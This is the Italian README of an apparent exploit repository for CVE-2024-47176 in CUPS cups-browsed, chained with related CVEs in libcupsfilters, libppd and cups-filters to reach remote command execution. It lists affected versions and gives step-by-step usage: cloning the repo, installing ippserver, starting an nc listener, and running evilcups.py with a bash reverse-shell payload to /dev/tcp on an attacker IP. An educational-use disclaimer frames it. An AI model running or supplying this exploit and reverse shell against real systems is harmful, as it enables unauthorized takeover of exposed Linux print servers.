
Solo a scopo educativo e per test di penetrazione autorizzati.
CUPS (Common UNIX Printing System) è un sistema di stampa open-source che gestisce stampanti di rete. CVE-2024-47176 prende di mira il demone cups-browsed, che si lega a INADDR_ANY:631 e si fida ciecamente dei pacchetti provenienti da qualsiasi sorgente.
Costruendo un pacchetto UDP malevolo che innesca una richiesta IPP Get-Printer-Attributes, un attaccante può indurre cups-browsed a collegarsi a un server controllato dall'attaccante — e, se combinato con le vulnerabilità di seguito, ottenere l'esecuzione arbitraria di comandi remoti.
| Componente | Condizione |
|---|---|
cups-browsed | In ascolto su UDP 631 (predefinito) |
| CUPS < 2.4.11 | Versioni non aggiornate |
| Sistemi Linux con CUPS esposto | Porta 631 raggiungibile dall'attaccante |
nmap (opzionale, per ricognizione)1. Clona il repository:
git clone https://github.com/gumerzzzindo/cve-2024-47176.git
cd cve-2024-47176
2. Installa la dipendenza Python richiesta:
pip install ippserver
3. Avvia un listener sulla tua macchina:
nc -lvnp <PORT>
./evilcups.py <ATTACKER_IP> <TARGET_IP> "<COMMAND>"
Esempio — reverse shell:
./evilcups.py 10.10.10.10 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"
Dopo aver eseguito l'exploit, innesca un lavoro di stampa sul target (oppure attendi un controllo automatico) per eseguire il payload.
Questo repository è inteso esclusivamente a scopo educativo e per ricerca di sicurezza autorizzata. Usare questo strumento contro sistemi che non possiedi o per i quali non hai un esplicito permesso scritto di test è illegale e non etico.
| CVE | Descrizione |
|---|
| CVE-2024-47176 | cups-browsed si fida di qualsiasi pacchetto UDP sulla porta 631 |
| CVE-2024-47076 | libcupsfilters non sanifica gli attributi IPP |
| CVE-2024-47175 | libppd inietta dati non sanificati nei file PPD |
| CVE-2024-47177 | cups-filters consente l'esecuzione di comandi tramite PPD |